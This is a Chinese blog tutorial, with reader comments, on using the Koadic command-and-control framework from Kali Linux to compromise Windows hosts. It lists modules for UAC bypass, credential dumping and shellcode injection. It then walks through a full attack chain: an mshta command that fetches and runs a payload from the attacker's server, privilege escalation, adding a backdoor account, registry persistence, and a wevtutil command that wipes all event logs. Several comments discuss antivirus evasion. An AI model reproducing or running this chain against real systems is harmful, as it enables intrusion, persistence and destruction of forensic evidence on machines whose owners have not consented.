kali linux系统使用koadic作为命令与控制(C2)服务器

枫少@KillBoy
枫少@KillBoy
管理员
219
文章
0
粉丝
资源分享378,230字数 2022阅读6分44秒阅读模式
AI智能摘要
想绕过老旧Windows系统的防护盲区?这款基于JScript/VBScript的C2框架竟能通吃Win2000到Win10!本文手把手教你用kali部署Koadic——无需Service Pack的渗透利器,揭秘其独有优势:通过mshta、regsvr等内存载荷实现无痕控制,实战演示从获取zombie、UAC提权到添加后门账户的完整链路。掌握stager/implants双模块体系,轻松执行权限维持、日志清除等关键操作,彻底摆脱传统工具兼容性限制。安全从业者必藏的实战指南,30分钟构建跨版本Windows渗透体系!
— AI 生成的文章内容摘要

一、简介

koadic是一个windows平台的后渗透rootkit框架。它与meterpreter和empire类似,主要的区别是koadic的操作主要使用Windows Script Host(JScript/VBScript),这样koadic可以兼容windows 2000到windows 10范围内的系统(windows 2000不需要service pack)。

 

二、操作步骤

(一)安装koadic

apt update  //更新软件清单

apt install koadic  //kali 2020中可以在线安装,但是kali 2021的安装源已删除了kodiac

可参考下面网址进行安装:

https://github.com/zerosum0x0/koadic

 

(二)koadic相关的概念

koadic  //运行

kali linux系统使用koadic作为命令与控制(C2)服务器-图片1

1、 可用的命令

api  //关闭/打开REST API

clear  //清屏

cmdshell  //通过命令行与僵尸进行交互

createstager  //为当前模块创建一个stager

creds  //显示收集到的凭据信息

domain  //显示收集到的域信息

edit  //进入文本编辑器,编辑当前模块的代码

exit  //退出程序

help  //显示一个命令的帮助信息

info  //显示当前模块的选项

jobs  //显示job相关的信息

kill  //通过ID杀死僵尸

listeners  //显示关于stager的信息

load  //重新加载所有的模块

pabst  //PBR Friday

paddy  //It's paddy, not patty

previous  //返回到使用过的上一个模块

pyexec  //evals some python

repeatjobs  //显示正在反复执行的job的信息

run  //运行当前模块

set  //为当前模块设置变量

sounds  //关闭/打开声音, sound(0|1)

spool  //将输出写入文件

taco  //taco time

unset  //为当前模块清除一个变量的值

use  //切换到其它模块

valentine  //Love is in the wire

verbose  //关闭/打开详情,verbose (0|1)

zombies  //列出已入侵的目标

 

2、 可用的模块

add_user

bitsadmin

bypassuac_compdefaults

bypassuac_compmgmtlauncher

bypassuac_eventvwr

bypassuac_fodhelper

bypassuac_sdclt

bypassuac_slui

bypassuac_systempropertiesadvanced

bypassuac_wsreset

clipboard

comsvcs_lsass

disk

download_file

enable_rdesktop

enum_domain_info

enum_printers

enum_shares

enum_users

exec_cmd

exec_psexec

exec_wmi

exec_wmic

hashdump_dc

hashdump_sam

implant/

killav

loot_finder

mimikatz_dotnet2js

mimikatz_tashlib

mshta

multi_module

office_key

password_box

reflectdll_excel

registry

regsvr

rundll32_js

schtasks

shellcode_dotnet2js

shellcode_dynwrapx

shellcode_excel

stage_wmi

stager/

system_createservice

tcp

thunderstruck

upload_file

user_hunter

voice

windows_key

wmi

wmic

可以看到,stager和implant是目录,其它都是单独的模块。其实,这些单独的模块在stager和implants目录中都能找到,单独列出来是为了便于操作。

 

3、 stager的概念

Stagers 用于“勾住(hook)”目标主机,使攻击者能够使用implants。

模块 描述
stager/js/mshta 使用MSHTA.exe HTMP应用程序,在内存中提供攻击载荷
stager/js/regsvr 使用regsvr3.exe COM+脚本,在内存中提供攻击载荷
stager/js/rundll32_js 使用rundll32.exe,在内存中提供攻击载荷
stager/js/disk 使用磁盘上的文件,提供攻击载荷
stager/js/wmic 使用WMIC,在内存中提供攻击载荷
stager/js/bitsadmin 在Bitsadmin作业中传输一个包含JS的.wsf攻击载荷并执行。

 

4、 implants的概念

目标主机被“勾住(hook)”后成为zombie,implants用于在zombie上执行任务。

模块 描述
implant/elevate/bypassuac_compdefaults Bypass UAC via registry hijack for ComputerDefaults.exe.
implant/elevate/bypassuac_compmgmtlauncher Bypass UAC via registry hijack for CompMgmtLauncher.exe.
implant/elevate/bypassuac_eventvwr Uses enigma0x3's eventvwr.exe exploit to bypass UAC on Windows 7, 8, and 10.
implant/elevate/bypassuac_fodhelper Bypass UAC via registry hijack for fodhelper.exe.
implant/elevate/bypassuac_sdclt Uses enigma0x3's sdclt.exe exploit to bypass UAC on Windows 10.
implant/elevate/bypassuac_slui Bypass UAC via registry hijack for slui.exe.
implant/elevate/system_createservice 通过SC.exe,将administrator会话提升到system会话。
implant/fun/zombie 将音量开到最大,并在隐蔽窗口中打开The Cranberries的某tube视频。
implant/fun/voice 使用text-to-speech播放一条消息。
implant/gather/clipboard 获取用户剪贴板中的内容。
implant/gather/comsvcs_lsass 使用comsvcs.dll创建LSASS的MiniDump,用pypykatz进行解析。
implant/gather/enum_domain_info 获取windows域的信息。
implant/gather/hashdump_dc NTDS.dit文件中的域控制器hash。
implant/gather/hashdump_sam 从SAM中获取口令hash。
implant/gather/loot_finder 查找目标上的战利品。
implant/gather/user_hunter 使用Dynamic Wrapper X定位登陆到域控制器的用户。
implant/inject/mimikatz_dotnet2js 注入反射加载的DLL,运行powerkatz.dll。(@tirannido DotNetToJS).
implant/inject/mimikatz_dynwrapx 使用Dynamic Wrapper X,注入反射加载的DLL,运行powerkatz.dll。
implant/inject/mimikatz_tashlib 使用TashLib COM对象,执行任意shellcode。(Work in Progress!)
implant/inject/shellcode_dotnet2js 使用DotNet2JS技术执行任意shellcode。通过createremotethread 将shellcode作为新的线程注入到主机进程中。
implant/inject/shellcode_dynwrapx 使用动态的Wrapper X COM对象执行任意shellcode。
implant/inject/shellcode_excel 如果目标系统安装了execl,则可运行任意shellcode。
implant/manage/enable_rdesktop 启用目标系统的远程桌面。
implant/manage/exec_cmd 在目标系统中运行任意命令,并可选择是否接收输出信息。
implant/persist/add_user 添加本地账户或域账户。
implant/persist/registry 在注册表中添加Koadic stager攻击载荷。
implant/persist/schtasks 通过计划任务实现持久化。
implant/persist/wmi 通过WMI订阅实现持久化。
implant/phish/password_box 欺骗用户输入口令。
implant/pivot/exec_psexec 使用sysinternals中的psexec在其它机器上运行命令。
implant/pivot/exec_wmi 使用WMI在其它机器上执行命令。
implant/pivot/stage_wmi 使用WMI在其它机器上“勾住”一个僵尸。
implant/scan/tcp 使用HTTP扫描目标主机所在局域网的开放端口。
implant/util/download_file 从目标主机下载文件。
implant/util/multi_module 顺序执行多个implants。
implant/util/upload_file 从正在监听的服务器上传文件到目标主机。

 

(三)kodiac的使用案例

1、 使用stager/js/mshta模块获取zombie

stager/js/mshta模块是首次执行koadic时的默认模块,由于这个stager使用的是windows内置的mshta,是最安全的,因此可以先使用这个模块获取远程主机的控制权。

info  //查看有哪些参数需要设置

kali linux系统使用koadic作为命令与控制(C2)服务器-图片2

 

 

 

 

 

可以看到,默认情况下已经设置好了所有的参数,直接运行即可。

run  //运行

 

在被攻击主机上按照提示执行:

mshta http://192.168.43.234:9999/cXPJX

之后控制端就会获取zombie:

kali linux系统使用koadic作为命令与控制(C2)服务器-图片3

 

 

使用zombies命令查看受控端:

kali linux系统使用koadic作为命令与控制(C2)服务器-图片4

 

 

 

 

 

 

可以看到,当前只有一个zombie,IP地址为192.168.43.108。注意STATUS字段的值,zombie下线之后,其信息仍然可以看到,但是STATUS为DEAD。

 

使用zombies ID或zombies IP,都可以查看特定zombie的信息。

zombies 0

kali linux系统使用koadic作为命令与控制(C2)服务器-图片5

 

 

 

 

 

 

 

 

 

zombies 192.168.43.108

kali linux系统使用koadic作为命令与控制(C2)服务器-图片6

 

2、 权限提升

use implant/elevate/bypassuac_compmgmtlauncher

info  //查看需要设置的变量

kali linux系统使用koadic作为命令与控制(C2)服务器-图片7

 

 

 

run  //运行模块代码

kali linux系统使用koadic作为命令与控制(C2)服务器-图片8

 

 

得到了zombie 1。

 

zombies 1  //查看详情

kali linux系统使用koadic作为命令与控制(C2)服务器-图片9

 

 

 

 

 

 

 

 

 

可以看到,Elevated:YES,说明提权成功了,zombie 1是提权后的会话。

 

3、 添加后门账户

use add_user  //切换到add_user模块

info  //查看需要设置的变量

set username hack

set password hack

kali linux系统使用koadic作为命令与控制(C2)服务器-图片10

 

 

 

 

 

 

 

 

cmdshell 1  //使用cmdshell命令,进入zombie 1的命令行

net user  //查看账户信息

kali linux系统使用koadic作为命令与控制(C2)服务器-图片11

 

 

 

 

 

可以看到hack用户,说明前面的提权和添加用户都是成功的。

 

4、 设置后门程序自启动

use implant/persist/registry

info  //查看需要设置的变量

kali linux系统使用koadic作为命令与控制(C2)服务器-图片12

 

 

 

 

set payload 0  //payload设置为0即可

run

kali linux系统使用koadic作为命令与控制(C2)服务器-图片13

 

 

 

 

显示注册表项添加成功。

在zombie上查看,可以看到在HKCU/Software/microsoft/Windows/CurrentVersion/Run中存在名为K0adic的字符串值。

重启zombie主机,zombie关机后会显示zombie的STATUS为dead,但是随着zombie开机,会重新获取zombie,ID为2。

kali linux系统使用koadic作为命令与控制(C2)服务器-图片14

 

 

 

 

 

说明自启动的payload成功执行了。

 

5、 清除事件日志

对于刚刚我们的操作,可以运行“for /F “tokens=*” %1 in (‘wevtutil.exe el’) DO wevtutil.exe cl “%1″”命令,使用“implant/manage/exec_cmd”模块来清除所有事件日志。命令如下:

use implant/manage/exec_cmd

info

set zombie 3

set CMD for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"

run

kali linux系统使用koadic作为命令与控制(C2)服务器-图片15

 

 

 

这个模块没有输出,只能到zombie主机上查看效果。在zombie主机的“事件查看器—windows日志—系统”中可以看到,在执行implant/manage/exec_cmd的那个时间发生了日志清除事件,清除了RemoteDesktopServices-RemoteDesktopSessionManager/Admin日志、system日志和powershell日志。说明模块执行成功。

 
枫少@KillBoy
评论  37  访客  36  作者  1
    • 煤油灯
      煤油灯 0

      kali 2021装不了?那现在还能用啥替代啊?

        • 茶商刘
          茶商刘 0

          @ 煤油灯 kali2021可以手动编译安装,就是步骤麻烦点。

        • 星语心愿
          星语心愿 1

          这个工具挺全的,模块真多。

          • 甜心饭团
            甜心饭团 1

            之前用meterpreter比较多,这个靠脚本兼容性好像更好点。

              • 佛系杠精
                佛系杠精 0

                @ 甜心饭团 兼容性从2000到10,这点比meterpreter强。

              • 古砚微凹
                古砚微凹 0

                绕过UAC那堆方法现在还能用吗,win10更新后好多都失效了。

                • 冰淇淋
                  冰淇淋 0

                  试过添加用户,成功了,但自启动那个注册表项容易被杀软扫出来。

                  • 锈链武士
                    锈链武士 1

                    对于新手来说,步骤写得有点跳跃,没讲清楚怎么生成那个mshta链接。

                    • 青冥使
                      青冥使 1

                      清除日志那个命令够狠的,直接清空所有。

                        • 青山隐隐
                          青山隐隐 0

                          @ 青冥使 清除所有日志太显眼了,不如针对性清理几个关键日志。

                        • 妖瞳惑心
                          妖瞳惑心 1

                          看到zombie就想起植物大战僵尸了hhh,这命名有点意思。

                            • The Dapper Gent
                              The Dapper Gent 0

                              @ 妖瞳惑心 哈哈,你这么一说还真像,控制一堆僵尸机。

                            • 笑不活了
                              笑不活了 1

                              文章里给的github链接好像打不开,404了。

                                • RetroRalph
                                  RetroRalph 1

                                  @ 笑不活了 github链接没问题啊,我刚打开看了下。

                                • 袜子老失踪
                                  袜子老失踪 0

                                  实战用过一次,感觉比empire轻量,但稳定性差点意思。

                                    • CometStreak
                                      CometStreak 0

                                      @ 袜子老失踪 bitsadmin失败是因为防火墙拦截吧,换个端口试试。

                                    • 魍魉同行
                                      魍魉同行 0

                                      这个工具模块真够全的,绕UAC的方法列了一堆。

                                      • 吱吱
                                        吱吱 0

                                        kali 2021源里没了?那得自己编译源码装吧,有点麻烦。

                                        • 剑影双生
                                          剑影双生 0

                                          实战中stager用mshta确实最常见,成功率高。

                                          • 星渊
                                            星渊 0

                                            对于内网横向移动,那个WMI模块挺好用的。

                                            • 红叶飘飘
                                              红叶飘飘 0

                                              添加用户那个模块,密码复杂度有要求不?

                                              • 砚台沉香
                                                砚台沉香 1

                                                感觉操作步骤写得有点乱,新手可能跟不上。

                                                • 灰白记忆
                                                  灰白记忆 0

                                                  之前测试过bitsadmin的stager,在某些环境下载入会失败。

                                                  • 云裳羽衣
                                                    云裳羽衣 0

                                                    这个工具在win7上测试过吗?兼容性怎么样?

                                                    • 暖暖团
                                                      暖暖团 0

                                                      zombie这个命名太搞笑了,让我想起打游戏的时候。

                                                      • 寒江雪影
                                                        寒江雪影 0

                                                        试了下添加用户,确实好用,就是杀软会报。

                                                        • 绯梦之蝶
                                                          绯梦之蝶 0

                                                          UAC绕过那部分现在还能用吗?win10最新版测试过没?

                                                          • Josephtug
                                                            Josephtug 3

                                                            照片令人惊艳。谢谢 感受。 [url=https://iqvel.com/zh-Hans/a/%E6%B3%B0%E5%9B%BD/%E8%90%B1%E5%84%82%E5%BE%8B]山谷小鎮[/url] 出色的 旅行者门户网站, 保持 继续下去。谢谢!

                                                            • 死亡颂唱者
                                                              死亡颂唱者 1

                                                              清除日志那个命令会不会触发安全警报啊?

                                                              • 夜莺的叹息
                                                                夜莺的叹息 0

                                                                mshta成功率是高,但容易被检测到。

                                                                • 青峰客
                                                                  青峰客 0

                                                                  模块确实多,就是文档不够详细。

                                                                  • 冰川奇观
                                                                    冰川奇观 1

                                                                    bitsadmin那个payload挺隐蔽的

                                                                    • 宇宙迷航者
                                                                      宇宙迷航者 1

                                                                      js/rundll32那个能过杀软不?

                                                                        • 枫少@KillBoy
                                                                          枫少@KillBoy

                                                                          @ 宇宙迷航者 这个要看杀软的检测策略,有的能过有的不行

                                                                        • SableSage
                                                                          SableSage 1

                                                                          bypassuac那几个模块在win10上还管用吗?

                                                                          • 白骨吟游
                                                                            白骨吟游 1

                                                                            stager分类还挺清楚

                                                                              • 少保
                                                                                少保 1

                                                                                @ 白骨吟游 对,分类逻辑还挺清晰

                                                                            匿名

                                                                            发表评论

                                                                            匿名网友

                                                                            拖动滑块以完成验证